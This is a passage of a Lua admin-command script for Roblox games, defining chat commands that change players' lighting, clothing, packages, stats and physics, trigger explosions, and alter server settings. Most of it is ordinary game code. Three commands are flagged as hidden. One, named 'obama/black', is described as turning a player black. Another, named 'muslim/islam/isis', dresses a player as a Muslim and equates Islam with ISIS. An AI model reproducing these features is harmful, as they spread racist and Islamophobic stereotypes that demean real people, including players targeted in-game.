  5923. end
  5924. end};
  5925.  
  5926. [{"nolight", "nolamp", "unlight", "unlamp"}] = {"player", "Makes player and a small radius in from of whom to light up as if there was a head light", 1, "Member", false, function(Speaker, Rank, Arguments)
  5927. local Players = STRING:Scan(Arguments[1], Speaker)
  5928. for _,Player in pairs(Players) do
  5929. if Player.Character and Player.Character:FindFirstChild("Torso") then
  5930. local Lights = {}
  5931. for _,Obj in pairs(Player.Character.Torso:GetChildren()) do
  5932. if Obj.Name == "MML Lamp" or Obj.Name == "M".."ML Light" then
  5933. table.insert(Lights, Obj)
  5934. end
  5935. end
  5936. for _,Light in pairs(Lights) do
  5937. coroutine.wrap(function()
  5938. for i = 1,20 do
  5939. Light.Brightness = Light.Brightness/5
  5940. wait()
  5941. end
  5942. Light:Destroy()
  5943. end)()
  5944. end
  5945. end
  5946. end
  5947. end};
  5948.  
  5949. [{"drug", "lsd"}] = {"player", "Gives player the effect of being on lsd", 1, "Member", false, function(Speaker, Rank, Arguments)
  5950. local Players = STRING:Scan(Arguments[1], Speaker)
  5951. for _,Player in pairs(Players) do
  5952. if Player.Character and Player:FindFirstChild("PlayerGui") then
  5953. local SG = Player.PlayerGui:FindFirstChild("MML Drug") if SG then SG:Destroy() end
  5954. SG = Instance.new("ScreenGui", Player.PlayerGui) SG.Name = "MML Drug"
  5955. local Frame = Instance.new("Frame", SG) Frame.Size = UDim2.new(1,0,1,0) Frame.BackgroundTransparency = 0.5
  5956. local Stop = false
  5957. coroutine.wrap(function()
  5958. repeat
  5959. Frame.BackgroundColor3 = Color3.new(math.random(0,255)/255,math.random(0,255)/255,math.random(0,255)/255)
  5960. wait(0.1)
  5961. until not SG or not SG.Parent
  5962. end)()
  5963. CORE:ExecuteResource("Drug", Player.Character)
  5964. end
  5965. end
  5966. end};
  5967.  
  5968. [{"nodrug", "nolsd", "undrug", "unlsd"}] = {"player", "Removes drug effect", 1, "Member", false, function(Speaker, Rank, Arguments)
  5969. local Players = STRING:Scan(Arguments[1], Speaker)
  5970. for _,Player in pairs(Players) do
  5971. if Player:FindFirstChild("PlayerGui") then
  5972. local SG = Player.PlayerGui:FindFirstChild("MML Drug") if SG then SG:Destroy() end
  5973. wait() CORE:RestoreCamera(Player)
  5974. end
  5975. end
  5976. end};
  5977.  
  5978. [{"searchg", "searchgear"}] = {"string", "Searches the catalog for the gear string (HTTP)", 1, "Member", false, function(Speaker, Rank, Arguments)
  5979. local AbuseMode = false
  5980. if Rank == "Member" then AbuseMode = Settings.DisableAbuse end
  5981. MARKET:ShowSearch(Speaker, 5, Arguments[1], function(ID)
  5982. if Speaker:FindFirstChild("Backpack") then
  5983. CORE:Insert(ID, Speaker.Backpack, true, {"Tool", "HopperBin"}, AbuseMode)
  5984. end
  5985. end)
  5986. end};
  5987.  
  5988. [{"searchh", "searchhat"}] = {"string", "Searches the catalog for the hat string (HTTP)", 1, "Member", false, function(Speaker, Rank, Arguments)
  5989. MARKET:ShowSearch(Speaker, 3, Arguments[1], function(ID)
  5990. if Speaker.Character then
  5991. CORE:Insert(ID, Speaker.Character, true, {"Hat"})
  5992. end
  5993. end, 9)
  5994. end};
  5995.  
  5996. [{"searchp", "searchpack", "searchpackage"}] = {"string", "Searches the catalog for the package string (HTTP)", 1, "Member", false, function(Speaker, Rank, Arguments)
  5997. MARKET:ShowSearch(Speaker, 4, Arguments[1], function(ID)
  5998. if Speaker.Character then
  5999. CORE:GivePackage(Speaker, ID)
  6000. end
  6001. end, 11)
  6002. end};
  6003.  
  6004. [{"nopackage", "nopack", "unpackage", "unpack"}] = {"player", "Removes all packages from player", 1, "Member", false, function(Speaker, Rank, Arguments)
  6005. local Players = STRING:Scan(Arguments[1], Speaker)
  6006. for _,Player in pairs(Players) do
  6007. CORE:GivePackage(Player)
  6008. end
  6009. end};
  6010.  
  6011. [{"package", "pack", "morph"}] = {"player num(ID)", "Gives player the package with num(ID), a few packages don't need http service because they're in the cache, but most do (HTTP)", 2, "Member", false, function(Speaker, Rank, Arguments)
  6012. local Players = STRING:Scan(Arguments[1], Speaker)
  6013. for _,Player in pairs(Players) do
  6014. CORE:GivePackage(Player, Arguments[2])
  6015. end
  6016. end};
  6017.  
  6018. [{"change", "changestat", "changeleaderstat", "changestats", "changeleaderstats"}] = {"player string(key) value(string/num)", "Changes player's leaderstats for key(Coins, money, ext) to value", 3, "Member", false, function(Speaker, Rank, Arguments)
  6019. local Players = STRING:Scan(Arguments[1], Speaker)
  6020. for _,Player in pairs(Players) do
  6021. local Stats = Player:FindFirstChild("leaderstats")
  6022. if Stats ~= nil then
  6023. for _,Stat in pairs(Stats:GetChildren()) do
  6024. if string.sub(string.lower(Stat.Name),1,#Arguments[2]) == string.lower(Arguments[2]) then
  6025. ypcall(function() Stat.Value = Arguments[3] end)
  6026. end
  6027. end
  6028. end
  6029. end
  6030. end};
  6031.  
  6032. [{"shirt"}] = {"player num(ID)", "Changes player's shirt to num(ID)", 2, "Member", false, function(Speaker, Rank, Arguments)
  6033. local ID = tonumber(Arguments[2])
  6034. local Players = STRING:Scan(Arguments[1], Speaker)
  6035. for _,Player in pairs(Players) do
  6036. for _,Player in pairs(Players) do
  6037. if Player.Character ~= nil then
  6038. local Obj = Player.Character:FindFirstChild("Shirt")
  6039. if Obj then
  6040. Obj.ShirtTemplate = "rbxassetid://"..MARKET:GetImageFormat(ID)
  6041. else
  6042. Obj = Instance.new("Shirt", Player.Character) Obj.Name = "Shirt" Obj.ShirtTemplate = "rbxassetid://"..MARKET:GetImageFormat(ID)
  6043. end
  6044. coroutine.wrap(function() Obj.Parent = nil wait(0.1) Obj.Parent = Player.Character end)()
  6045. end
  6046. end
  6047. end
  6048. end};
  6049.  
  6050. [{"pants"}] = {"player num(ID)", "Changes player's pants to num(ID)", 2, "Member", false, function(Speaker, Rank, Arguments)
  6051. local ID = tonumber(Arguments[2])
  6052. local Players = STRING:Scan(Arguments[1], Speaker)
  6053. for _,Player in pairs(Players) do
  6054. for _,Player in pairs(Players) do
  6055. if Player.Character ~= nil then
  6056. local Obj = Player.Character:FindFirstChild("Pants")
  6057. if Obj then
  6058. Obj.PantsTemplate = "rbxassetid://"..MARKET:GetImageFormat(ID)
  6059. else
  6060. Obj = Instance.new("Pants", Player.Character) Obj.Name = "Pants" Obj.PantsTemplate = "rbxassetid://"..MARKET:GetImageFormat(ID)
  6061. end
  6062. coroutine.wrap(function() Obj.Parent = nil wait(0.1) Obj.Parent = Player.Character end)()
  6063. end
  6064. end
  6065. end
  6066. end};
  6067.  
  6068. [{"tshirt"}] = {"player num(ID)", "Changes player's T-shirt to num(ID)", 2, "Member", false, function(Speaker, Rank, Arguments)
  6069. local ID = tonumber(Arguments[2])
  6070. local Players = STRING:Scan(Arguments[1], Speaker)
  6071. for _,Player in pairs(Players) do
  6072. for _,Player in pairs(Players) do
  6073. if Player.Character ~= nil then
  6074. if Player.Character:FindFirstChild("Torso") then
  6075. local Obj1 = Player.Character:FindFirstChild("Shirt Graphic")
  6076. local Obj2 = Player.Character.Torso:FindFirstChild("roblox")
  6077. if Obj1 then
  6078. Obj1.Graphic = "rbxassetid://"..MARKET:GetImageFormat(ID)
  6079. else
  6080. Obj1 = Instance.new("ShirtGraphic", Player.Character) Obj1.Name = "Shirt Graphic" Obj1.Graphic = "rbxassetid://"..MARKET:GetImageFormat(ID)
  6081. end
  6082. if Obj2 then
  6083. Obj2.Texture = "rbxassetid://"..MARKET:GetImageFormat(ID)
  6084. else
  6085. Obj2 = Instance.new("Decal", Player.Character.Torso) Obj2.Name = "roblox" Obj2.Texture = "rbxassetid://"..MARKET:GetImageFormat(ID) Obj2.Face = "Front"
  6086. end
  6087. coroutine.wrap(function() Obj1.Parent = nil wait(0.1) Obj1.Parent = Player.Character end)()
  6088. coroutine.wrap(function() Obj2.Parent = nil wait(0.2) Obj2.Parent = Player.Character.Torso end)()
  6089. end
  6090. end
  6091. end
  6092. end
  6093. end};
  6094.  
  6095. [{"oder", "od", "onlinedater", "onlinedate"}] = {"player", "Changes player's character to be an online dater", 1, "Member", false, function(Speaker, Rank, Arguments)
  6096. local Players = STRING:Scan(Arguments[1], Speaker)
  6097. for _,Player in pairs(Players) do
  6098. CORE:ChangeCharacter(Player, OderIDs[math.random(1,#OderIDs)], false, Speaker)
  6099. end
  6100. end};
  6101.  
  6102. [{"cookie"}] = {"player", "Gives player a cookie if the speaker is in the admin group", 1, "Member", false, function(Speaker, Rank, Arguments)
  6103. if CORE:InAdminGroup(Speaker) then
  6104. local Players = STRING:Scan(Arguments[1], Speaker)
  6105. for _,Player in pairs(Players) do
  6106. if Player:FindFirstChild("Backpack") then
  6107. local Tool = Instance.new("Tool", Player.Backpack) Tool.Name = "Cookie" Tool.ToolTip = "Yey! Cookies!" Tool.GripForward = Vector3.new(0,1,0) Tool.GripPos = Vector3.new(0.1,-0.3,-0.1) Tool.GripRight = Vector3.new(0,0,-1) Tool.GripUp = Vector3.new(0.01,0,1)
  6108. local Handle = Instance.new("Part", Tool) Handle.Name = "Handle" Handle.Size = Vector3.new(1,1,1)
  6109. local Mesh = Instance.new("SpecialMesh", Handle) Mesh.MeshType = "FileMesh" Mesh.Scale = Vector3.new(0.4,0.4,0.4) Mesh.MeshId = "rbxassetid://20939848" Mesh.TextureId = "rbxassetid://21456464"
  6110. local Anim = Instance.new("Animation", Tool) Anim.Name = "EatCookie" Anim.AnimationId = "rbxassetid://29517689"
  6111. CORE:ExecuteResource("CookieTool", Tool)
  6112. end
  6113. end
  6114. end
  6115. end};
  6116.  
  6117. [{"decal", "image"}] = {"num(ID)", "Allows player to insert num(ID) as a decal", 1, "Member", false, function(Speaker, Rank, Arguments)
  6118. if Speaker:FindFirstChild("Backpack") and tonumber(Arguments[1]) then
  6119. CORE:ExecuteResource("InsertDecal", Speaker.Backpack, {["DecalID"] = MARKET:GetImageFormat(tonumber(Arguments[1]))})
  6120. end
  6121. end};
  6122.  
  6123. [{"insert", "model", "ins"}] = {"num(ID)", "Allows player to insert num(ID) as a model(Only works if the model is owned by the owner of the game or ROBLOX)", 1, "Member", false, function(Speaker, Rank, Arguments)
  6124. if Speaker:FindFirstChild("Backpack") and tonumber(Arguments[1]) then
  6125. local Model = CORE:Insert(tonumber(Arguments[1]), game:GetService("ReplicatedStorage"))
  6126. for i = 1,math.random(10,20) do
  6127. Model.Name = Model.Name..string.char(math.random(97,122))
  6128. end
  6129. if Model:GetChildren()[1] then
  6130. table.insert(Objects, Model)
  6131. CORE:ExecuteResource("InsertModel", Speaker.Backpack, {["Model"] = Model})
  6132. end
  6133. end
  6134. end};
  6135.  
  6136. [{"animate", "animation", "anim"}] = {"player num(ID)", "Animates player to num(ID)", 2, "Member", false, function(Speaker, Rank, Arguments)
  6137. local ID = tonumber(Arguments[2])
  6138. local Players = STRING:Scan(Arguments[1], Speaker)
  6139. for _,Player in pairs(Players) do
  6140. if Player.Character then
  6141. CORE:ExecuteResource("PlayAnimation", Player.Character, {["AnimationID"] = Arguments[2]})
  6142. end
  6143. end
  6144. end};
  6145.  
  6146. [{"noanimate", "moanimation", "noanim", "unanimate", "unanimation", "unanim"}] = {"player", "Stops animations playing from the animate command", 1, "Member", false, function(Speaker, Rank, Arguments)
  6147. local Players = STRING:Scan(Arguments[1], Speaker)
  6148. for _,Player in pairs(Players) do
  6149. if Player.Character then
  6150. local StopAnim = Player.Character:FindFirstChild("Stop MML Animate")
  6151. if StopAnim then StopAnim:Destroy() end
  6152. end
  6153. end
  6154. end};
  6155.  
  6156. [{"ambient"}] = {"Color3(1) Color3(2) Color3(3)", "Changes the ambient lighting to Red - Color3(1) Green - Color3(2) Blue - Color3(3) (Out of 255)", 3, "Member", false, function(Speaker, Rank, Arguments)
  6157. if tonumber(Arguments[1]) and tonumber(Arguments[2]) and tonumber(Arguments[3]) then
  6158. Server.Lighting.Ambient = Color3.new(tonumber(Arguments[1])/255,tonumber(Arguments[2])/255,tonumber(Arguments[3])/255)
  6159. end
  6160. end};
  6161.  
  6162. [{"brightness", "bright"}] = {"num", "Changes the lighting brightness to num", 1, "Member", false, function(Speaker, Rank, Arguments)
  6163. if tonumber(Arguments[1]) then
  6164. Server.Lighting.Brightness = tonumber(Arguments[1])
  6165. end
  6166. end};
  6167.  
  6168. [{"list", "lst"}] = {"player", "Shows player in a list", 1, "Member", false, function(Speaker, Rank, Arguments)
  6169. local List = {}
  6170. local Players = STRING:Scan(Arguments[1], Speaker)
  6171. for _,Player in pairs(Players) do
  6172. table.insert(List, Player.Name.." (ID: "..Player.userId..")")
  6173. end
  6174. GUI:ListGui(Speaker, "Listed Players", List)
  6175. end};
  6176.  
  6177. [{"pl", "playerlist"}] = {"player", "Enables player to see the player list", 1, "Member", false, function(Speaker, Rank, Arguments)
  6178. local Players = STRING:Scan(Arguments[1], Speaker)
  6179. for _,Player in pairs(Players) do
  6180. GUI:CoreGui(Player, "PlayerList", true)
  6181. end
  6182. end};
  6183.  
  6184. [{"npl", "nopl", "unpl", "noplayerlist", "unplayerlist"}] = {"player", "Disables player to see the player list", 1, "Member", false, function(Speaker, Rank, Arguments)
  6185. local Players = STRING:Scan(Arguments[1], Speaker)
  6186. for _,Player in pairs(Players) do
  6187. local Players = STRING:Scan(Arguments[1], Speaker)
  6188. GUI:CoreGui(Player, "PlayerList", false)
  6189. end
  6190. end};
  6191.  
  6192. [{"bc", "tbc", "obc"}] = {"player", "What do you know, it's a real command!", 1, "Member", false, function(Speaker, Rank, Arguments)
  6193. GUI:SendMessage(Speaker, "Wow, you thought this was a command", "Did you look at the comments by chance?", 5253865)
  6194. end, Hidden = true};
  6195.  
  6196. [{"obama", "black", "1337"}] = {"player", "Turns player black", 1, "Member", false, function(Speaker, Rank, Arguments)
  6197. local Players = STRING:Scan(Arguments[1], Speaker)
  6198. for _,Player in pairs(Players) do
  6199. CORE:ChangeCharacter(Player, 1337, false, Speaker)
  6200. end
  6201. end, Hidden = true};
  6202.  
  6203. [{"muslim", "islam", "isis"}] = {"player", "Turns player into a muslim", 1, "Member", false, function(Speaker, Rank, Arguments)
  6204. local Players = STRING:Scan(Arguments[1], Speaker)
  6205. for _,Player in pairs(Players) do
  6206. if Player.Character and Player.Character:FindFirstChild("Head") and Player.Character.Head:FindFirstChild("face") then
  6207. ypcall(function() Player.Character.Torso.roblox:Destroy() end)
  6208. Player:ClearCharacterAppearance()
  6209. CORE:Insert(12436480, Player.Character, true)
  6210. Player.Character.Head.face.Texture = "http://www.roblox.com/asset/?id=110287880"
  6211. Instance.new("Shirt", Player.Character).ShirtTemplate = "rbxassetid://205596436"
  6212. Instance.new("Pants", Player.Character).PantsTemplate = "rbxassetid://205596483"
  6213. end
  6214. end
  6215. end, Hidden = true};
  6216.  
  6217. [{"noob", "noobify", "boon"}] = {"player", "Turns player into a noob", 1, "Member", false, function(Speaker, Rank, Arguments)
  6218. local Players = STRING:Scan(Arguments[1], Speaker)
  6219. for _,Player in pairs(Players) do
  6220. CORE:ChangeCharacter(Player, 0, false, Speaker)
  6221. end
  6222. end};
  6223.  
  6224. [{"bet"}] = {"string", "Changes the bet to string", 1, "Owner", false, function(Speaker, Rank, Arguments)
  6225. local Bet = Arguments[1]
  6226. if Bet == "/" or Bet == "-" or Bet == "(" or Bet == ")" then
  6227. GUI:SendMessage(Speaker, "Cannot change bet", "RED Illegal characters used to become a bet", "Error")
  6228. elseif #Bet > 5 then
  6229. GUI:SendMessage(Speaker, "Bet too long", "RED The bet is too long and is over 5 characters (You have "..#Bet.." characters)", "Error")
  6230. else
  6231. local Answer = GUI:PromptMessageWithButtons(Speaker, "Are you sure you want to change the bet", "You are about to change the bet from '"..Settings.Bet.."' to '"..Bet.."' and commands like "..Settings.Prefix.."ff"..Settings.Bet.."me will be changed to "..Settings.Prefix.."ff"..Bet.."me, Continue?", "Question", {"Yes", "No"})
  6232. if Answer == "Yes" then
  6233. local OldBet = Settings.Bet
  6234. CORE:ChangeBet(Bet)
  6235. GUI:MessageAdmins("Bet Change", "The bet has changed from '"..OldBet.."' to '"..Bet.."' and commands like "..Settings.Prefix.."ff"..OldBet.."me will be changed to "..Settings.Prefix.."ff"..Bet.."me")
  6236. end
  6237. end
  6238. end};
  6239.  
  6240. [{"prefix"}] = {"string", "Changes the prefix to string", 1, "Owner", false, function(Speaker, Rank, Arguments)
  6241. local Prefix = Arguments[1]
  6242. if #Prefix > 5 then
  6243. GUI:SendMessage(Speaker, "Prefix too long", "RED The Prefix is too long and is over 5 characters (You have "..#Prefix.." characters)", "Error")
  6244. else
  6245. local Answer = GUI:PromptMessageWithButtons(Speaker, "Are you sure you want to change the Prefix", "You are about to change the Prefix from '"..Settings.Prefix.."' to '"..Prefix.."' and commands like "..Settings.Prefix.."ff"..Settings.Bet.."me will be changed to "..Prefix.."ff"..Settings.Bet.."me, Continue?", "Question", {"Yes", "No"})
  6246. if Answer == "Yes" then
  6247. local OldPrefix = Settings.Prefix
  6248. Settings.Prefix = Prefix
  6249. GUI:MessageAdmins("Prefix Change", "The Prefix has changed from '"..OldPrefix.."' to '"..Prefix.."' and commands like "..OldPrefix.."ff"..Settings.Bet.."me will be changed to "..Prefix.."ff"..Settings.Bet.."me")
  6250. end
  6251. end
  6252. end};
  6253.  
  6254. [{"commandbar", "cmdbar", "cbar", "commandgui", "cmdgui", "cgui", "commandbox", "cmdbox", "cbox"}] = {"", "Gives you a command bar to enter commands", 0, "Member", false, function(Speaker, Rank, Arguments)
  6255. GUI:CommandBar(Speaker)
  6256. end};
  6257.  
  6258. [{"permcommandbar", "permcmdbar", "permcommandgui", "permcmdgui"}] = {"", "Gives you a command bar for each time you spawn", 0, "Admin", false, function(Speaker, Rank, Arguments)
  6259. GUI:CommandBar(Speaker)
  6260. PermCommandBars[Speaker.Name] = true
  6261. end};
  6262.  
  6263. [{"nopermcommandbar", "nopermcmdbar", "nopermcommandgui", "nopermcmdgui", "unpermcommandbar", "unpermcmdbar", "unpermcommandgui", "unpermcmdgui"}] = {"", "If you are in the perm command bar list, it takes you out(You keep command bar for current spawn)", 0, "Admin", false, function(Speaker, Rank, Arguments)
  6264. PermCommandBars[Speaker.Name] = nil
  6265. end};
  6266.  
  6267. [{"remotenopermcommandbar", "remotenopermcmdbar", "remotenopermcommandgui", "remotenopermcmdgui", "remoteunpermcommandbar", "remoteunpermcmdbar", "remoteunpermcommandgui", "remoteunpermcmdgui"}] = {"player", "If player is in the perm command bar list, it takes player out(player keep command bar for current spawn)", 1, "Owner", false, function(Speaker, Rank, Arguments)
  6268. local Players = STRING:Scan(Arguments[1], Speaker)
  6269. for _,Player in pairs(Players) do
  6270. PermCommandBars[Player.Name] = nil
  6271. end
  6272. end};
  6273.  
  6274. [{"dummy", "newdummy", "dum", "figure"}] = {"", "Creates a dummy", 0, "Member", false, function(Speaker, Rank, Arguments)
  6275. CORE:CreateFigure("Dummy", nil, true, Speaker)
  6276. end};
  6277.  
  6278. [{"namedummy", "dummyname", "namenewdummy", "namedum", "dumname", "namefigure", "ndummy", "nnewdummy", "ndum", "nfigure"}] = {"string", "Creates a dummy named string", 1, "Member", false, function(Speaker, Rank, Arguments)
  6279. CORE:CreateFigure(Arguments[1], nil, true, Speaker)
  6280. end};
  6281.  
  6282. [{"clone", "copy"}] = {"player", "Creates clone of player", 1, "Member", false, function(Speaker, Rank, Arguments)
  6283. local Players = STRING:Scan(Arguments[1], Speaker)
  6284. for _,Player in pairs(Players) do
  6285. CORE:ClonePlayer(Player)
  6286. end
  6287. end};
  6288.  
  6289. [{"nameclone", "clonename", "namecopy", "nclone", "ncopy"}] = {"player string", "Creates clone of player named string", 2, "Member", false, function(Speaker, Rank, Arguments)
  6290. local Players = STRING:Scan(Arguments[1], Speaker)
  6291. for _,Player in pairs(Players) do
  6292. CORE:ClonePlayer(Player, Arguments[2])
  6293. end
  6294. end};
  6295.  
  6296. [{"clear", "clr"}] = {"", "Clears debris in workspace left by the admin", 0, "Member", false, function(Speaker, Rank, Arguments)
  6297. for _,Obj in pairs(Objects) do
  6298. if Obj then Obj:Destroy() end
  6299. end
  6300. for Name,Jail in pairs(Jails) do
  6301. if not game.Players:FindFirstChild(Name) then
  6302. Jail:Destroy()
  6303. Jails[Name] = nil
  6304. end
  6305. end
  6306. Objects = {}
  6307. end};
  6308.  
  6309. [{"clean", "cln"}] = {"", "Clears debris in workspace by players", 0, "Member", false, function(Speaker, Rank, Arguments)
  6310. for _,Obj in pairs(Server.Workspace:GetChildren()) do
  6311. if Obj:IsA("Hat") or Obj:IsA("Tool") then
  6312. Obj:Destroy()
  6313. end
  6314. end
  6315. end};
  6316.  
  6317. [{"sparkles", "sparks"}] = {"player", "Adds a sparkling effect to player", 1, "Member", false, function(Speaker, Rank, Arguments)
  6318. local Players = STRING:Scan(Arguments[1], Speaker)
  6319. for _,Player in pairs(Players) do
  6320. if Player.Character and Player.Character:FindFirstChild("Torso") then
  6321. local Sparkles = Instance.new("Sparkles", Player.Character.Torso) table.insert(Objects, Sparkles)
  6322. end
  6323. end
  6324. end};
  6325.  
  6326. [{"fire"}] = {"player", "Makes player catch on fire", 1, "Member", false, function(Speaker, Rank, Arguments)
  6327. local Players = STRING:Scan(Arguments[1], Speaker)
  6328. for _,Player in pairs(Players) do
  6329. if Player.Character and Player.Character:FindFirstChild("Torso") then
  6330. local Fire = Instance.new("Fire", Player.Character.Torso) table.insert(Objects, Fire)
  6331. end
  6332. end
  6333. end};
  6334.  
  6335. [{"smoke"}] = {"player", "Adds a sparkling effect to player", 1, "Member", false, function(Speaker, Rank, Arguments)
  6336. local Players = STRING:Scan(Arguments[1], Speaker)
  6337. for _,Player in pairs(Players) do
  6338. if Player.Character and Player.Character:FindFirstChild("Torso") then
  6339. local Smoke = Instance.new("Smoke", Player.Character.Torso) table.insert(Objects, Smoke)
  6340. end
  6341. end
  6342. end};
  6343.  
  6344. [{"nosparkles", "nosparks", "unsparkles", "unsparks"}] = {"player", "Removes any sparkling effects to player", 1, "Member", false, function(Speaker, Rank, Arguments)
  6345. local Players = STRING:Scan(Arguments[1], Speaker)
  6346. for _,Player in pairs(Players) do
  6347. if Player.Character and Player.Character:FindFirstChild("Torso") then
  6348. for _,Get in pairs(Player.Character.Torso:GetChildren()) do
  6349. if Get:IsA("Sparkles") then
  6350. Get:Destroy()
  6351. end
  6352. end
  6353. end
  6354. end
  6355. end};
  6356.  
  6357. [{"nofire", "unfire"}] = {"player", "Removes player's fire effects", 1, "Member", false, function(Speaker, Rank, Arguments)
  6358. local Players = STRING:Scan(Arguments[1], Speaker)
  6359. for _,Player in pairs(Players) do
  6360. if Player.Character and Player.Character:FindFirstChild("Torso") then
  6361. for _,Get in pairs(Player.Character.Torso:GetChildren()) do
  6362. if Get:IsA("Fire") then
  6363. Get:Destroy()
  6364. end
  6365. end
  6366. end
  6367. end
  6368. end};
  6369.  
  6370. [{"nosmoke", "unsmoke"}] = {"player", "Removes player's smoke effects", 1, "Member", false, function(Speaker, Rank, Arguments)
  6371. local Players = STRING:Scan(Arguments[1], Speaker)
  6372. for _,Player in pairs(Players) do
  6373. if Player.Character and Player.Character:FindFirstChild("Torso") then
  6374. for _,Get in pairs(Player.Character.Torso:GetChildren()) do
  6375. if Get:IsA("Smoke") then
  6376. Get:Destroy()
  6377. end
  6378. end
  6379. end
  6380. end
  6381. end};
  6382.  
  6383. [{"explode", "explosion"}] = {"player", "Explodes player and everything around player", 1, "Member", false, function(Speaker, Rank, Arguments)
  6384. local Players = STRING:Scan(Arguments[1], Speaker)
  6385. for _,Player in pairs(Players) do
  6386. if Player.Character and Player.Character:FindFirstChild("Torso") then
  6387. SOUND:MakeSound(Player.Character.Torso, 187137543, 1, 1, false):Play()
  6388. local Boom = Instance.new("Explosion", Workspace)
  6389. Boom.Position = Player.Character.Torso.Position
  6390. end
  6391. end
  6392. end};
  6393.  
  6394. [{"splode", "smite"}] = {"player", "Explodes player 50 times and everything around player", 1, "Member", false, function(Speaker, Rank, Arguments)
  6395. local Players = STRING:Scan(Arguments[1], Speaker)
  6396. for _,Player in pairs(Players) do
  6397. if Player.Character and Player.Character:FindFirstChild("Torso") then
  6398. coroutine.wrap(function() for i = 1,50 do
  6399. local Boom = Instance.new("Explosion", Workspace)
  6400. Boom.Position = Player.Character.Torso.Position
  6401. wait()
  6402. end end)()
  6403. coroutine.wrap(function() for i = 1,5 do
  6404. SOUND:MakeSound(Player.Character.Torso, 187137543, 1, 1, false):Play()
  6405. end end)()
  6406. end
  6407. end
  6408. end};
  6409.  
  6410. [{"superjump", "nograv", "lowgrav"}] = {"player", "Enables player to be able to jump super high", 1, "Member", false, function(Speaker, Rank, Arguments)
  6411. local Players = STRING:Scan(Arguments[1], Speaker)
  6412. for _,Player in pairs(Players) do
  6413. if Player.Character and Player.Character:FindFirstChild("Torso") then
  6414. local Force = Player.Character.Torso:FindFirstChild("LMM SJ") if Force then Force:Destroy() end
  6415. Force = Instance.new("BodyForce", Player.Character.Torso) Force.Name = "LMM SJ" Force.force = Vector3.new(0,0,0)
  6416. for _,Obj in pairs(Player.Character:GetChildren()) do if Obj:IsA("BasePart") then Force.force = Force.force + Vector3.new(0,Obj:GetMass()*200,0) elseif Obj:IsA("Hat") then Force.force = Force.force + Vector3.new(0,Obj.Handle:GetMass()*200,0) end end
  6417. end
  6418. end
  6419. end};
  6420.  
  6421. [{"normaljump", "grav", "nosuperjump", "unsuperjump"}] = {"player", "Disables player to be able to jump super high", 1, "Member", false, function(Speaker, Rank, Arguments)
  6422. local Players = STRING:Scan(Arguments[1], Speaker)
  6423. for _,Player in pairs(Players) do
  6424. if Player.Character and Player.Character:FindFirstChild("Torso") then
  6425. local Force = Player.Character.Torso:FindFirstChild("LMM SJ") if Force then Force:Destroy() end
  6426. end
  6427. end
  6428. end};
  6429.  
  6430. [{"punish"}] = {"player", "Punishes player by removing player's character", 1, "Member", false, function(Speaker, Rank, Arguments)
  6431. local Players = STRING:Scan(Arguments[1], Speaker)
  6432. for _,Player in pairs(Players) do
  6433. if Player.Character then
  6434. Player.Character.Parent = Server.Lighting
  6435. end
  6436. end
  6437. end};
  6438.  
  6439. [{"nopunish", "unpunish"}] = {"player", "Undoes the punish effect on player", 1, "Member", false, function(Speaker, Rank, Arguments)
  6440. local Players = STRING:Scan(Arguments[1], Speaker)
  6441. for _,Player in pairs(Players) do
  6442. if Player.Character then
  6443. Player.Character.Parent = Server.Workspace
  6444. Player.Character:MakeJoints()
  6445. end
  6446. end
  6447. end};
  6448.  
  6449. [{"stun", "platformstand"}] = {"player", "Stuns player so he cannot move", 1, "Member", false, function(Speaker, Rank, Arguments)
  6450. local Players = STRING:Scan(Arguments[1], Speaker)
  6451. for _,Player in pairs(Players) do
  6452. if Player.Character and Player.Character:FindFirstChild("Humanoid") then
  6453. Player.Character.Humanoid.PlatformStand = true
  6454. end
  6455. end
  6456. end};
  6457.  
  6458. [{"nostun", "unstun", "noplatformstand", "unplatformstand", "stand"}] = {"player", "Undoes the stun effect on player", 1, "Member", false, function(Speaker, Rank, Arguments)
  6459. local Players = STRING:Scan(Arguments[1], Speaker)
  6460. for _,Player in pairs(Players) do
  6461. if Player.Character and Player.Character:FindFirstChild("Humanoid") then
  6462. Player.Character.Humanoid.PlatformStand = false
  6463. end
  6464. end
  6465. end};
  6466.  
  6467. [{"jump"}] = {"player", "Makes player jump", 1, "Member", false, function(Speaker, Rank, Arguments)
  6468. local Players = STRING:Scan(Arguments[1], Speaker)
  6469. for _,Player in pairs(Players) do
  6470. if Player.Character and Player.Character:FindFirstChild("Humanoid") then
  6471. Player.Character.Humanoid.Jump = true
  6472. end
  6473. end
  6474. end};
  6475.  
  6476. [{"sit", "sitdown"}] = {"player", "Makes player sit down", 1, "Member", false, function(Speaker, Rank, Arguments)
  6477. local Players = STRING:Scan(Arguments[1], Speaker)
  6478. for _,Player in pairs(Players) do
  6479. if Player.Character and Player.Character:FindFirstChild("Humanoid") then
  6480. Player.Character.Humanoid.Sit = true
  6481. end
  6482. end
  6483. end};
  6484.  
  6485. [{"nosit", "unsit", "nositdown", "unsitdown", "stand", "standup"}] = {"player", "Makes player stand up if sitting down", 1, "Member", false, function(Speaker, Rank, Arguments)
  6486. local Players = STRING:Scan(Arguments[1], Speaker)
  6487. for _,Player in pairs(Players) do
  6488. if Player.Character and Player.Character:FindFirstChild("Humanoid") then
  6489. Player.Character.Humanoid.Sit = false
  6490. end
  6491. end
  6492. end};
  6493.  
  6494. [{"spin", "turn", "spinaround"}] = {"player", "Makes player spin around", 1, "Member", false, function(Speaker, Rank, Arguments)
  6495. local Players = STRING:Scan(Arguments[1], Speaker)
  6496. for _,Player in pairs(Players) do
  6497. if Player.Character and Player.Character:FindFirstChild("Torso") then
  6498. local Spin = Instance.new("BodyAngularVelocity", Player.Character.Torso) Spin.Name = "MML Spin" Spin.maxTorque = Vector3.new(0, math.huge, 0) Spin.angularvelocity = Vector3.new(0,20,0)
  6499. end
  6500. end
  6501. end};
  6502.  
  6503. [{"nospin", "unspin", "noturn", "unturn", "nospinaround", "unspinaround"}] = {"player", "Stops player from spinning around", 1, "Member", false, function(Speaker, Rank, Arguments)
  6504. local Players = STRING:Scan(Arguments[1], Speaker)
  6505. for _,Player in pairs(Players) do
  6506. if Player.Character and Player.Character:FindFirstChild("Torso") then
  6507. local Spin = Player.Character.Torso:FindFirstChild("MML Spin") if Spin then Spin:Destroy() end
  6508. end
  6509. end
  6510. end};
  6511.  
  6512. [{"port"}] = {"", "Gets the server network port", 0, "Owner", false, function(Speaker, Rank, Arguments)
  6513. GUI:SendMessage(Speaker, "Server Port", "The server port for this server is: "..Server.NS.Port, "Information")
  6514. end};
  6515.  
